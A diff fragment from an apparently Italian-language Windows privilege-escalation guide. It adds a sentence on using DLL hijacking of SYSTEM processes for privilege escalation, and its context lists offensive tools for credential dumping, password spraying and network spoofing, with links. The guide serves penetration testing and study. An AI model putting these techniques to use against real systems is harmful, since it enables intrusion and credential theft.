-**Puoi** [**saperne di più sul Dll hijacking qui**](dll-hijacking/)**.**
+Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in esecuzione come **SYSTEM** sarai in grado di eseguire codice arbitrario con quei permessi. Pertanto, il Dll Hijacking è utile anche per questo tipo di escalation dei privilegi e, inoltre, è **molto più facile da ottenere da un processo ad alta integrità** poiché avrà **permessi di scrittura** sulle cartelle utilizzate per caricare i dll.\
+**Puoi** [**saperne di più sul Dll hijacking qui**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**
 
@@ -1376,7 +1376,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spruzza le password raccolte attraverso il dominio**\
 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno strumento di spoofing e man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione di base per privesc in Windows**\
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione di base per privesc Windows**\
 [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca vulnerabilità di privesc note (DEPRECATO per Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Richiede diritti di amministratore)**